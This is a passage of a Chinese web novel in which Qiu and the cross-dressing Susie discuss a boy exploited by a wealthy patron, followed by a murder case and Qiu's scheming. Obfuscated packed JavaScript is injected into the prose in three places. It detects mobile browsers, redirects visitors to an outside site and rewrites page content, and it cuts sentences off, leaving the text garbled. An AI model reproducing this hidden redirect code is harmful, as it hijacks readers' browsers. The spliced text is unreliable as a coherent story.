“好,我们从头开始假设一种情况。”苏西抢来唯一的枕头垫在腰后,双腿伸至床沿外,目光直视前方,莫名有种临终嘱托的视觉效果:“一个贫民出身的小男孩,被采花专员重金骗入有钱人投资的剧团、舞团、合唱团,他以为通过努力练习才艺就能减轻养育者的负担、让一家人过上好日子,为了早日实现这个愿望,每天都高高兴兴夹着尾巴做人,对苛刻的团长与难伺候的贵宾室观众言听计从——” 所以,即便在大冷天不得不光着腿,表情也不被允许出现一丝崩坏。 “不久后,他的天赋使他一跃成为色艺双绝的头牌,照他对这个世界单纯又狭隘的理解,到了这时候,他的人生可算是走上了一条康庄大道,他又哪里知道,康庄大道的终点,还有新的分岔路。” 苏西闭了闭眼。 “每一条都通往深渊。” 阿邱明白他的意思,可深渊里头多安静啊,还是别拿外面喧哗的审美来侮辱深渊了。 “比较常见的一种呢,”不等对方做出反应,苏西接着说,“就是把服务对象由许多人换成一个人。可是这样一对一的关系也并不长久,随着年岁增长,他的身后出现了数不尽的竞争对手,年轻、野心勃勃、虎视眈眈,个个都想把他的位置抢来插到自己脚下,有时还不需要他们自己出手。 “他用十年的时间从猪棚逃出来,最后还是要跪在把他关进猪棚的人面前,拼尽全力向他证明自己不是猪猡。 “没人教过他一旦选择了岔路就再也无法回头了,他只有相信自己从头到尾都被爱着。那个男人从刚见面时就很老了,顶多比死人年轻一秒钟吧,但他们在这一秒钟内掌握了许多工具,于是他身上的每个洞都被钻过;等天然的洞都钻腻了,本来没有洞的地方又会出现新的洞。” 苏西轻快地一歪头,耳洞周围的三个耳钉反射着熹微的晨光。 “再后来,他长出了最精微的磨骨术也无法抹平的棱角,老到再也不能用了。于是,那个人从他身上收回了全部的爱,像丢垃圾一样把他丢出了家门。 “然后他就彻底无家可归咯。” 在年轻力壮vs老迈到离死亡只剩半秒钟的绝对优势下—— “为什么不杀了他?”阿邱理所当然地问。 “因为爱。”苏西答得理所当然。 好。阿邱的内心毫无波动,只是责怪这个苏西真会挑时候,明知她没精神,还非要把这种刺小又多的问题塞到她耳中。 第二个想法是,真抱歉、真抱歉,消失的三分之二“人口”里不包含这些爱钻洞的泥鳅,也是她这个罪魁祸首的疏忽。 最后就是为自己的平淡反应感到羞愧。她一直想抓着苏西问个明白,眼下就是最好的时机,可是脑子里过完了上述想法,仅能提供一些硬度的头骨就没剩下多少力气了。 不要紧……苏西看起来还有一大堆观点要输出的样子,暂时用不着她来贡献脑力。 “……一想到这种腌臜事,我就觉得所有人的审美都被少数派霸凌了。”当事人,应该是当事人吧,猛地抽离出来,硬生生换上一副事不关己的口吻,“生理上,有明显性成熟特征的成年人才能被无害化‘使用’,可美少年们往往是超过15岁就过了赏味期,然后被人弃如敝履——像这种彻头彻尾的有害思想还美其名曰柏拉图之恋,我看洱鸾大陆已经完蛋啦!” 过去听到类似的事情,阿邱曾得出过一个结论:这是因为成年人比美少年更“死”。 正常的审美是顺应自然规律的审美,而死亡是条单行道,这是最不可证伪的自然规律,于是,死而后已的坚持、白头偕老的约定,都不会随时散发着一股子腐臭;而热爱钻洞的泥鳅们,越是获得了世俗上的成功,越是恐惧死亡的来临,迫切地想要把他人的年轻鲜活吸纳为自己的,以此作为长生不老的灵丹妙药——炼药这项技术难题人类暂未攻克,采药却已经是门显学了,故而,在穿着齐整的他们面前露出青春的线头,天然地是件非常危险的事。 由于阿邱现在只有走马观花的力气,她优先提供自己的视角:“你说的‘所有人’包括女人吗?” 苏西顿住。 继而捶床道:“你要这么问是吧?说得像是那些新浪潮小说全都出自男人笔下似的!” “可新浪潮小说说到底也只是女性浪漫妄想,并没有切实伤害到任何一个活着的美少年。”此外,即便是妄想,她们也不是泥鳅,往往舍不得在纸片人身上钻出一堆血洞。 “那人家合唱团的小孩衣着暴露地演出时,你们不也照看不误吗?” “看都看了,总不能让我们把眼睛挖出来吧?” “虚伪。” “彼此彼此。” 苏西烦躁地抓抓头:“罢了,我不对无权做决定的人提要求。” “冤有头债有主,老头害你,你捅老头。”阿邱一摊手,“然后就天下太平了。” “没有老头啊,哪来的老头。你今天怎么这么——” “我一直都这么。” 要是不这么,也不会让人那么。 “哼,虽然你的观念也很朴素,但我告诉你,越是被老头迫害,美少年就越是看不起你这种贫穷少女。” 似是跟阿邱较上了劲,苏西恶狠狠地背过身去。 “看不起就看不起吧,又不能当饭吃,谁稀罕。” “你错了,他们的看不起是很致命的!”苏西指着面前的空气,疾言厉色……厉色看不见……道:“像我刚才说的这种人,只要还苟活于世,到了年纪就会难以克制地想要回到所谓‘正轨’,渴求妻子、渴求血缘后代、渴求家庭。可他们当了太久的玩具,早就忘了爱人是怎么爱的了,于是越挣扎越得不到梦寐以求的安稳生活,得不到么,心一横,干脆就去报复社会,先从第一道门槛——得不到的‘妻子’开始,结局往往是成为了无差别的杀女者。” “嗯,这就是阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052085|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞斯杯禁止女选手参赛的原因。” 阿邱点点头,对这项重大赛事的重要规则进行了延迟的仔细一说。 苏西疑惑回头:“跟这有什么关系?你别打岔!另一部分运气稍好的,靠早年的积累换来了一点安稳,但内心的扭曲始终无法治愈,等他年纪大了,便会走上有钱人的老路——为了掠夺别人的青春不惜杀人放火,甚至拿妻子的性命做武器……” “那你教教我怎么识别这种人吧。就是说,我们要如何避免成为他人韵律和谐的垫脚石?” 阿邱多善解人意啊,提问语速再慢也带有思考的痕迹,为苏西说出这些秘辛找到了借口:他这么做的目的,只是想对一个人设是天真单纯社会女新人的舍友提出示警。 “很简单啊,戒色。”如她所料,苏西回头露出一个“你总算问到点子上了”的表情,带着激烈的情绪又拍了墙上的平面鸫一巴掌:“还记得我说的鮟鱇吗?美貌就是他们身上的灯笼——少女们请仔细辨别,可千万别当了冤大头哦。” “但也不是所有美少年都……” “唉,你就换位思考啊!假如你特别想跟一个异性上床,你会怎么做?” “这……先跟他认识,然后对他好;展示自己的魅力与无可取代,适当地露出肚皮示弱……?” “对,这才是正常人该有的反应。但我说的这些危险分子可没这份耐心,他们通常会逮着你直奔最后一步。” “不。”阿邱偏要杠他一下,“没经历过那些事的不危险分子也没有这份耐心,我从来不觉得男人对女人有女人对他们的同等的喜欢。” 听此言,苏西看着复印件发起愣来:“那你为什么还……” 为了善解人意地给活下去找个借口。 许是被阿邱的悲观激起了责任感,苏西拍拍两边脸颊,坚持要把示警做到底,身子转过来,直视着她严肃道:“我说的只是普遍情况,还有那种段位高的,留待日后跟你分析。反正你就记住一点:千万别因为男人的美色就无条件相信他们的话。” “……做掉的三分之二全是丑男就好了哈哈……” “你在嘀咕什么?” “我是说,我困了。” “我也困了。长官,你这儿允许抽烟吗?” “不允许,要抽下去抽。” 苏西搓着手指熄灭了火光,动作还是那么游刃有余,可他看向阿邱的眼神竟带了些不知所措。 “能让我多说两句吗?我也不明白是从哪句话开始惹你不高兴的……但我说这些只是想告诉你,在当今社会,大部分人的悲惨遭遇都是自己作出来的,就像你说的老头与美少年冤冤相报,罪孽通常只在内部循环,怪不到别的谁头上去;就算生不逢时遇上了大型天灾,那也只能起到催化作用——哦,那些犯罪韵律学专家的鬼话你也别信,毕竟他们的工作就是为人类的劣根性开脱,要我说,人本来就是坏的,所以世界才变坏了,听明白了吗?” 不论他说这话是有意无意,阿邱的眼中闪过了一丝光亮。 ——从这个角度看,他刚才的那番控诉,也像是对抠脚等活儿找上门来的救世主下的订单。 40. 第三十四章 生聊大王 “谢谢你。”阿邱一把捏住苏西的肱二头肌,“好会说的一张嘴啊,封你为聊天大王。” 苏西畏惧地抽出胳膊,用一种仿佛认识她很久的口气评价道:“你也是进步了哈,阴阳怪气水平越来越高——还是说你今天遇上什么事了?” “等等,我刚才说的是‘聊天大王’吗?前几天还想叫你生活大王来的……决定了,你是生聊大王。” 就像上回,把一根生死未卜的居居都给生生聊没了。 阿邱捋完了称号系统才回答他的问题:“因为我今天遇上了——冷。” “冷到眼泪都流下来了?” “是啊。” “以后睡觉记得盖好被子。” “嗯。” “还有,别熬夜了,熬夜损伤抵抗力,抵抗力低了就爱生病,生了大病你又看不起,看不起病你就只能一个人死在出租屋啰。” “好,我一定注意不要死掉。”结论是,逻辑通畅的生聊大王暂时还不想让阿邱死。 时间在沉默中抻了个懒腰。 “冒昧地问一句……”盖好被子的阿邱想起未被提及的结局,回到岔路口上,指着另一片深渊问苏西:“你穿女装也和过去的经历有关吗?” “没啊,就是穿惯了,从小到大我的衣食父母都希望我长这样。” “可我还是觉得一点都不适合你……” “你管那么多呢,区区一个蘑菇头,还想审美霸凌我?” “对不起。那你自己呢,你打从心底也想变成女人吗?” 苏西本来都有点打盹了,被她唐突一问,身子颤了颤,比刚来时还要清醒。 “噫,那倒没有。” 噢哟,他还拿乔。 “你就是想,我们也未必会笑着欢迎你加入。”这一轮的评委阿邱翻个身,闲闲说道,“像你说的那些经历……” “什么经历,都说了我只是在假设。” “好吧,像你假设的那种情况,最多只会让我听出一句潜台词:使‘女’这个性别成立的条件就是……受害。” 她暂且不想去考虑宜人性了。原定计划是用长时间的光照去融化苏西这坨坚冰,然后跳进寒潭里寻找她想要的答案,今天她却改了主意:不如索性变回北风,换一种更为残酷和高效的模式击碎他那层外壳吧。 但在下一秒,她变成了面团。 处在面团的位置才知道揉面的人是没有办法才揉面的。和公车上的豆子一样,阿邱也毫无反抗意识,苏西怎么揉,她只管说她的:“推我也没用。别以为我不知道,像你们这种穿着夸张的女装作为个人符号的家伙,享受的根本不是变成另一个性别,而是同时拥有两种性别。” 苏西却是笑起来,笑声里有说不出的畅快:“哎哟,还真被你猜对了!你知道这意味着什么吗?意味着我只有性,没有别。” 诊断他们为可怜型性别认知障碍的调律师会被这畅快的笑声一拳拳捶进墙里。 “邱小姐啊邱小姐,你站在高处审判我,还不如下来羡慕我——‘像我们这种家伙’,对性别的认知其实走在时代的最前沿,看世界的视角比任何人都要广,哪是你一个生下来就只会听话的怀春少女想象得到的!” 就当是阿邱的头盖骨还在共鸣吧,说着这些洋洋自得的话,苏西的语气却充满了自我嘲弄的意味。 许是察觉到嘲弄放错了位置,他暂停揉面,话锋一转:“我想夏尔玛镇长那位美艳的部下也是。” 海伦? 阿邱不喜欢那个形容词:“人家惹你了?” “没惹,她也没这个机会,但我太懂她们这样的人了,你以为剪短发就是独立女性的标志啦?我告诉你,能坐上她那个位置,不‘女’一点不行的,在外形上假装进步也只是为了赢取你们这帮贫穷少女的选票罢了,这是事实,别想用那些大!道!理!反驳我。” 诽谤就诽谤,还加重揉面力道,还跟随说话的节奏拍她屁股。阿邱忍无可忍地爬起来:“你失心疯了?这算哪门子大道理,我从字面上都能反驳你:短发又不是男发,我们贫穷少女的瓦片也不是冲着选美投出去的!” “你涉世未深可能还不明白,其实留短发也算一种特权——” “说特权谁更特权?就说你们女装愤青吧,”这个称号是和“贫穷少女”相对照的,“所谓的‘可男可女’,根本都是建立在‘可男’的基础之上的。” 苏西不接她的茬,非得展示他那底层男性可笑的大局观:“你懂什么,她们受的苦和享有的特权,跟普通人肯定是有错位的……不过你一定能理解,邱珊,毕竟你也是享有特权、却为特权所困的人。” 开始无差别攻击了是吧?站在接收订单的角度上,阿邱宽宏大量地施与救世主的关怀:“那么我的特权能帮你快速达成目标吗?比方说,安稳的生活、妻子、长寿?” “我没有目标。非要说的话,我的目标就是天天开心,哪怕第二天死了,头的那天也必须开心。” 才不只是那样。 苏西一噘嘴,委屈道:“所以说嘛,你这些进攻性思维找错了输出对象。” 恶人先告状,或者说恶人先撒娇,好像是这人到万不得已时的秘密武器。 “你放心,总有一天我会放下这些想法的。” 不然三年半预科的作用是什么?把先天的异端思想从大脑中清除出去,对她这个血脉不稳定的危险分子来说,是比专业技能、处世之道、生存策略更为紧迫的一门课程。 只是人在脆弱时更容易暴露出本性……这个就不要找借口了,藏不住本性不是文明人该有的品质,何况这些进攻性思想也未必是人类的本性呀。 而人类的理性在这时无法唤起她的同情,置身事外,她逐渐意识到,同情有时也是一种侮辱。 “对了,听说你被终止式的长官们带去看调律师啦?” “你听牧笛大姐说的?” “我长了眼睛,就不能自己发现吗?” 就他这个呛口的前调,可否先把自己的攻击性收一收……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052086|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿邱钻回被子:“是的,他们用血蛭治好了我脑子里的血块。” 苏西的反应很平淡:“现在的生物技术这么先进啊。” “你还不走吗?” “这就赶人啦?” “不走的话,我还有个问题:影先生到底去哪了?” “这个嘛,他平时出门也不用跟我报备呀。倒是你,安全起见,把你报备对象的短码发给我。”苏西不动声色地补充道:“就是带你去看调律师的那位。” “……你也有飞笺器?” “不是为了联络那个人。我还有别的用处。” 阿邱想了想,报给他马尔科姆的短码。 “都一样,他还是我的第一联系人。” 朝阳的一瞥尚未投来,窗外又是一阵嘈杂,这回刮的是哪阵风?不重要,过一会就停了。 “还有一个多月就是大赛了——嚯啊……来镇上凑热闹的人真是越来越多了……” “不,人还不够多。” 推开窗户,夜风袭来。再次匆匆离去前,苏西逆着那阵风摇了摇头,冲钟声传来的方向轻声道:“远远不够。” ———— ———— 当晚。 注意,当的是阿邱和苏西接力倚靠平面鸫的凌晨之前的那个晚。 或许也不是,等通知。 一般路过普通人有权知道的信息如下:当晚,在龙柏朋友的注视下,街口发生了一桩杀人案。 死者塔桥·蜜丝缇,16岁,前厄洛斯合唱团团员,系威丝塔芬富商安德烈·蜜丝缇收养的义子。 同一时间,森林戍卫队在某位脱衣舞男的私宅中发现了安德烈·蜜丝缇的尸体。 二者死因皆是中毒,不同的是,塔桥的后脑有被钝器敲击的痕迹。 嫌疑人脱衣舞男佐伊·约翰逊已被带走控制。两小时后,戍卫队队员在旅店“戏梦人生”寻得死者妻子爱丽丝·蜜丝缇。听闻这桩惨案,爱丽丝反应平淡,表示对丈夫和义子晚间的去向毫不知情,并提供了一条耐人寻味的线索:事发当日傍晚,死者塔桥曾在管家老威廉的陪同下,前往调律师加百列地处镇南的工作室接受诊治。 ——正在为库奇念着新送来的报纸时,头版新闻突然齐刷刷被替换成了最新快讯,阿邱的眼睛跟不上文字消失的速度,只好把恩格玛祭司谈养生的早晨变成了凶杀案发生后的若干个小时。 “你说妻子?”老库奇似是又有过来人的看法,从躺椅上支起身子,“这还用问,我看那个可怜虫也不是什么义子,根本就是他们家里豢养的娈童!肯定是那个妻子勾引了娈童,两个人搞在一块了,丈夫发现后一怒之下杀了娈童,抛尸在咱们街口——我说什么来着,女人就是灾星!” 阿邱比较担心的是:苏西昨晚的行动线跟案发时间有重合,他会不会在这起案件中发挥了作用? 要是真跟他有关,他可能忘了通知牧笛——如果酒后吐真言可以拿来当证据,论抛尸,牧笛好像才是专业的。 41. 第三十五章 双押三计划(1) 案件本身不能引起阿邱的兴趣,头一回亲眼见到已刊发的头版头条被当场替换,她首先感到的是新奇。 “哇哇哇,全境的报纸一瞬间全部换完?这就是黑曜石图书馆的追加刊印术吗!” 耳朵不够灵的民众一天当中最关注什么,通常都是由新闻报道的字体大小决定的,与此同时,他们不关注什么也顺道被决定了。 受害者家属爱丽丝的高清大头照占据了整个头版。那不然呢?难道要放出尸体照吓唬大家伙吗?别挑刺了。此外,特地点出“义子”身份……阿邱觉得,这位女士接下来的日子应该不会很好过了。 ——倒霉的加百列也一样。真有意思,现在的记者、撰稿人都相当认真负责,案件调查结果尚未明晰,一切相关的人事物就一股脑全推到公众面前去了,那速度能超越追加刊印术,生怕传媒行业会拖了刑侦行业的后腿似的。 老库奇吃完早餐,一个人骂骂咧咧地回到楼上——倒不是养生的早晨被打扰了使他生气,也不是阿邱没能在要不要扶他回去的掰扯中打赢一个老人,纯粹是骂骂咧咧地走楼梯是他一天当中唯一的有氧运动了。 等报刊亭里只剩阿邱时,她更加清晰地感觉到时间的流速正在变慢。 也不知道这种微微的麻痹感何时才能结束……可靠的伙伴·主观能动性在这时替她作出决定:吃完这块黄油吐司就结束。必须结束! 为了加快进程,阿邱带着虔诚的上进心,打开一本名叫《三步创造好女孩·从入门到精通》的大部头,使出狼狗啃生肉的气势狠狠读了起来。 然而一页也翻不动。 思绪飞到天边,冥蝶公主则飞到了书页上,在那些精美的蕾丝边印刷字体间翩翩起舞。 用我们位面的话说,冥蝶公主是阿邱正在养的oc,一旦她感到无聊,就会围绕她这位oc进行脑内创作——全然是张爱玲八岁时那种“快乐村”式的创作,只考虑公民食堂周一到周五分别提供什么菜式,压根不管文学性的。 上回书说到,冥蝶公主带着零分的数学考卷回到家,她的爷爷奶奶和爸爸妈妈进行了一番老古板与新式教育之间的争执,三天三夜后,终是新时代的观念占了上风,本着因材施教的人道主义,八岁的冥蝶公主高高兴兴转去了武术学校。 不对,这时候她还不叫冥蝶公主,她哥哥叫安东、姐姐叫安吉、弟弟叫安迪、妹妹叫安珀,所以她的名字叫安妮塔。 ……这么一合计,安妮塔八岁就走上了属于自己的道路,最后又是怎么黑化成冥蝶公主的呢? 思来想去,快乐村的安稳还是打败了作者用挫折给人物抛光的使命,既没有冲突也没有高潮、既不古典也不新浪潮,想要成为作家,这么写是绝对不行的:除了能把作者本人的情绪缓慢地捞回地平线上,对世界做不了任何贡献。 因而,作家必须时刻保持情绪稳定,工作再忙、生活再难也要留出推翻前文逻辑的脑力、狠得下心大幅删改先前的劳动成果,还要敢于让主人公吃亏,只有这么做,才能创造出优秀的作品——真麻烦,谁爱干谁干去吧!还好阿邱的使命不是当个作家,而是成为一个救世主呀,于是她的oc可以自由自在地生活在完全不合逻辑的快乐村,一辈子都不用走到残酷的现实中来,羡慕吗? 那么接下来,在武术学校,安妮塔邂逅了四个帅哥,分别是花、鸟、虫、鱼…… 来都来了,四个好像有点少了,再加一个、再加一个嘛。唔唔,平时穿着女装,换上男装就没男装男什么事儿了,必要时可充当闺蜜角色,更必要时可以丢出去当炮弹……花鸟虫鱼冰,有种逛夏夜小吃街的快乐,可以可以,定能大卖——看吧,她这个预备救世主没准比作家还会写小说!不进入文坛抢别人的饭碗,纯粹是有更要紧的事等着她干,耶嘿。 各路人马聚齐,接下来该设计反派线了。学校里的反派可以是督学,可以是校长……但这里是安妮塔梦寐以求的、全境最顶尖的武术学校呀,管理层怎么能是反派呢?这已经肉眼可见地不合逻辑了,推翻、推翻。 外敌,对,还有外敌。上学期间,外敌进犯校园,也就是可恶的魔族上岸了!乒铃乓啷地,他们打破了人类平静的生活。安妮塔与朋友们挺身而出、奋力抵抗,五个男朋友死了俩、残了仨,她自己也被魔血侵蚀,为日后的黑化埋下了祸根…… 回家后,老神医爷爷和大调律师奶奶治好了她,死伤的五大天王也有新人填补位置……对,花鸟虫鱼冰是职位名,不指代哪个具体的角色,不是安妮塔贪心,实在是残酷的命运带走了她的爱人,为了证道不得不杀夫啊,呜呜…… 逝者已逝,生者坚强,等这段风波结束后,快乐的日子又回来啦。 …… 一直到下班回到淡猫俱乐部,阿邱还在反复推敲:为爱战死前,怎么给鸟天王提一提戏份呢?高冷男本就不好塑造,想炮制出高冷男对安妮塔单方面的爱情更是难上加难。 “想什么呢!”一只粗大的黑手伸到她眼前打了个响指。 创作思路被打断,阿邱清醒过来:“啊啊?没什么。我把信件都拿回来了。” 牧笛接过订购指南,随意地翻了翻,递还给她一封信。 “这是给你的。特级信使专送?这么厉害的。” 阿邱收起信,打着磕巴问他:“你知道、你知道昨晚的凶杀案吗?女神啊,真是吓死人了。” “这是今年第一起吧,比平时来得要晚一些……”和她一比,牧笛倒显得漫不经心。 看着阿邱紧张地把密信夹进书里,他像是误会了什么:“别怕别怕,尸体抛在街口,说明凶手八成是个新手,还是激情作案,相信英明神武的长官们很快就能破案的,光天化日之下还能让他跑了?” 他也不信凶手就是那个约翰逊?在大是大非面前对竞争对手保有宽容,确实是老手才有的反应。 “说起来人家还听到一个小道消息,有目击者称,昨天中午,那个美少年去终止式的指挥所报过案,说是钱包丢了。” 阿邱听着就是一阵神经幻痛。怎么哪都有他们啊?要她说不愧是街溜子吗! “昨晚我听到楼上有动静。”牧笛又问,“有人闯进你房间了?” “对,是苏西。” “他回来了?回来了也不知道打声招呼,有没有把我这个老板放在眼里啊!”牧笛随口嗔怪着,“你问人家?你都不知道他这些天跑哪去了,人家哪里知道。” 看着他略带闪躲的眼神,突如其来地,阿邱心生一计。 由于十字城邦的基础教育普及率还算高,遗憾没能发展出哈圈这种东西,继续用我们位面的词汇给该计划取个大名,不如就叫“双押计划”吧?把阵营数也考虑进去,“双押三计划”也不是不行。 为什么取这个名字呢?请诸君接着往下看——不用特地憋笑。 预感接下来会很好玩,阿邱站在冰川下望着冰面上的阳光,露出了没有温度的笑容。 计划在它成型的第一秒就可以开始实施了。大幕拉开,阿邱皱眉叹气:“唉,苏西昨晚跟我说了一件事,当时他也就随口一提,可现在回想起来我又觉得毛骨悚然,不知道该跟谁分享……” “那就跟人家说嘛!”牧笛果然起了兴致,“内部的秘密内部消化,不然要说给外人听吗?” “好吧,我只跟你一个人讲,你可千万别到处乱传哦。苏西是这么说的:昨天晚上返程时,他看到库奇先生一个人在街口打转,当时他就觉得很奇怪,那时都接近凌晨了,库奇先生身体又不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关于加百列,迦南小队长的说法和豆子警官基本一致,虽然那天下午阿邱不在状态,但关键信息她是不会听漏的。 “在此之前,旧矿山镇公认最有名望的调律师——姓氏是帕尔卡的那位,自从离开家乡,在我们的情报系统中很长一段时间都不见踪迹。” 阿邱轻叹。如果连神殿戍卫队的高级情报系统都没有记录的话…… “不过我走访过几次东海岸的营地,从那边的同僚口中得到一条线索:三年前,赛时营地有几个熟悉帕尔卡的人亲眼见到他从不冻港上岸,往南边去了。” 这么说来,上届阿瑞斯杯的选址在瓦德密尔星罗郡,位于东海岸往南两百公里的腹地,当时设在不冻港的关卡可能不像现在这么严,于是迦南小队长说:“不敢保证这条消息的可靠性。” 写到这里,他所知道的一切都已和盘托出,随信附上足够申请三次特级信使的邮费:“还有什么问题可一并回复,关键词另行约定。” ——诚意满满,满得阿邱都想打饱嗝了。 撕下一页情商修炼手册充当信纸,在回信中,她首先用饱满的笔墨表达了感谢,而后硬着头皮写道:“玫瑰学派的情报容我稍作整理,两日后回信。” 然后略嫌画蛇添足地补充道:“或许你对我的合作意图还保有怀疑,但请你相信,我来到旧矿山镇并不是为了找谁的麻烦,好不容易恢复自由身,我只想过上平静的生活。” 接下来才是她要讲的重点:“此外,如果你最近正为夜之窟的命案感到焦头烂额,我就住在那附近,更容易看到背阴处的真相,衷心希望我的线索能够帮到你。 “淡猫俱乐部的老板牧笛你了解吗?就是那个黑壮汉,爱在女装上面套件锁子甲,相处了这么些天,我还是有点看不透他。还记得上回和你提到的人员变动吗?值得注意的是,消失的只有机动人员和保安,他这个老板倒是一直稳坐钓鱼台,我想,他可能就是那个运筹帷幄中的幕后黑手。” 真是字面意思上黝黑的一对手哦——等迦南小队长终于把上了膛的枪对准了阿邱,她还有机会圆着嘴巴这么辩解。 42. 第三十五章 双押三计划(2) 巡逻结束后的清闲下午,终止式临时指挥处。 队员们享用着现烤的巧克力曲奇,在初春的旧矿山镇,配套的饮料竟是鲜榨西瓜汁。 “……境外未必没有哇,你们以为的沙地西瓜,其实大部分都是控温大棚的作物……” 克洛诺斯侃侃而谈,正在展示他八成又是道听途说而来的渊博知识。 “塔桥的案子对我们很不利。”豆子不遗余力地要把莫名高涨的情绪调回正常水平,“你一去公车公司问902的乘客名单消息就传开了,今天头条报道暂时没提到我们,但我敢打赌明天就有记者来踏破门槛了。” 作为一只全然的喜鹊,克洛诺斯长寿的秘诀可能就是全天候坚持盲目乐观,事到临头还要强行把话题转回有趣的事上:“说到这个,你知道吗,自打阿邱管我们叫‘警官’,很多人就真的开始拿我们当警官了!上午巡逻时,有个走丢小孩的妈妈就喊着‘警官警官’来找我们帮忙呢,你说,这样的工作模式不比私人警卫队有意思得多?” 自己的制服外套挂在椅背上,他伸手扯一下马尔科姆的袖子:“原本还觉得这身精装皮会带来生人勿近的印象,现在看来,我们也不是个彻头彻尾的暴力机构嘛!” 这种美梦自己枕着单人枕做一做就够了,不用特地邀请别人加入。 “罗宾小队员,你怎么又在撇嘴?” “活动面部肌肉消耗糖份。” 克洛诺斯放下西瓜汁,肚子里的坏水通过怪笑蒸发出来:“你也别闲着,以后阿邱的事你得多费费心,我还是有点放心不下她——要是真能放在身边时刻看着就好了……” 马尔科姆揶揄道:“然后你就彻底把她丢给我们豆子不管啦?” “是啊是啊,我斟酌了很久,还是觉得豆子来当第一联络员最合适,之前他是持反对意见最多的,我一痛陈利弊他就松口了,哎呀,我们这些老东西就是太感性啦,重大决定还是留给理性的人来做吧!” 这种狗屁逻辑显然是他前一秒才想出来的。如果当事人听说他提供兼职的潜在目的是用“正确引导”预防民间科学总结出的规律性自杀,一定也会觉得十分荒唐。 如此想着,白眼却被马尔科姆拦截下来:“难得工作之后还有机会跟同龄女性相处,只要对方不是个坏蛋,我觉得并不是件苦差事哦?” 克洛诺斯立即不知所谓地帮腔道:“对对,不要老是垮个脸嘛豆子!阿邱小姐是我见过最乖的人了,她跟坏蛋之间隔了一个银河系那么远。” 也不知道不对小队员开放的加密情报究竟有什么扭转价值观的力量,马尔科姆和他竟有相似的观点:“塔尔塔洛斯确实关押了不少人格上无可救药的罪犯,但有的也可能只是受人蒙蔽酿成大祸,邱小姐显然不是前者,你就对她宽容一点吧。” 豆子闭上眼睛捏捏鼻梁,不想再看到前辈们高深莫测的脸。他觉得,能从发号施令的大人口中得到一个“乖”字,其特质无外乎坚韧的身体与娇气的心;鉴于他没资格知道一个八岁小孩能“受人蒙蔽”犯下什么大错,只好把邱小姐在狱中受过的折磨当成她异于常人之处的唯一源头了。 “……居然是从不冻港回来的?”在他走神期间,克洛诺斯又从自家机动人员聊到了淡猫俱乐部的机动人员,“确定是东海岸吗?” 马尔科姆颔首:“一直盯着呢,不会看错的。” “其间没接触过任何人?” “没有。” “嘶,这就奇怪了。那个绷带战士也还是没消息吗?” “没有新线索,坐902公车离镇就是他最后一项记录在案的行踪了。” 克洛诺斯咂着嘴道:“难道真和阿邱说的一样,我们惹上了一群上头有人的专业杀手?” 杀手专业与否暂且不论,克洛诺斯可能身怀一种自己都未觉察的绝技:一旦他提到某人的名字满三次,就能把本人召唤出来。 一声“请进”后,邱小姐小心翼翼地带上薄铁门,一点力气也不敢使,生怕捏碎了它似的。 “那个,我下午没事就过来看看……各位长官有什么任务派给我吗?” 克洛诺斯的第一反应是:“哎,飞笺器坏了?” 看,他长寿的另一个秘诀是听话从来只听表面,既不分析也不反思,于是藏着歪心思的人永远在他面前哑口无言,背地里默默地记恨、磨刀。 濒临被拆穿的邱小姐干吞一口唾沫,眼珠子四下乱瞟,定格到豆子身上,像是抓住了救命稻草:“复习资料!对,我主要是来找罗宾警官借考试复习资料的……” 脑子还算灵光,看来一夜过去,她那个飘飘忽忽的魂已经落到地上了,只是浑身仍旧泛着蓝,在豆子看来,尚未恢复到粉色能见度最低时的精气神。 马尔科姆也看出她另外有话要说,贴心地推来一把椅子:“你请坐。吃点?” 看看鲜甜的西瓜汁、再看看堆成小山的曲奇,许是从小道消息习得了糖份和风湿的正相关性,她有些担心地问克洛诺斯:“这个……能吃吗?” 无论出发点是什么,当着厨师的面问这话实在不礼貌,所以豆子有充分的理由表达不满:“人能吃,狗不能,你我不知道。” ———— ———— 怎么会这样! 阿邱是特地避着饭点过来的,谁知这帮社会闲散人士闲不住的还有嘴巴,只怕是刚结束午餐就吃上餐后甜点了。 希孚里亚的绅士们一再相劝,她也不好推脱,只得接过一块巧克力曲奇,双手捧着,略显局促地坐了下来。 克洛诺斯还嫌不够似的:“怎么了阿邱,你不喜欢甜食吗?但凡闻到那个香气,我还从没见过豆子烤的曲奇能在谁的眼皮底下存活过三秒钟的!” 厨师坚决不接这口锅:“是邱小姐胃口小,一场顶级的晚宴她都只拿勺柄沾点汤汁嗦嗦。” “哦?”克洛诺斯贼兮兮的目光又开始在二人身上打转了,“你俩可真有意思,一个不吃饭,一个不睡觉。” 阿邱没读懂他的笑容,只知道她要抓住套近乎的气口,连忙补上一句:“是的是的,同龄人就是……同病相怜哈!” 豆子起身离开茶水区,回工位干活去了。 克洛诺斯也回了一趟自己的办公桌,除了拿出鸫的通缉令原件,还抓了把糖果放在阿邱面前。 阿邱很想说,她迟疑的原因并不是食物的选项太少——也不是因为偷窃被发现后感到心虚——但她知道再拒绝下去就不礼貌了,于是放下曲奇,乖乖拆了糖果开吃。 再次见到会笑会眨眼的流星…… 内心仍是毫无波动。 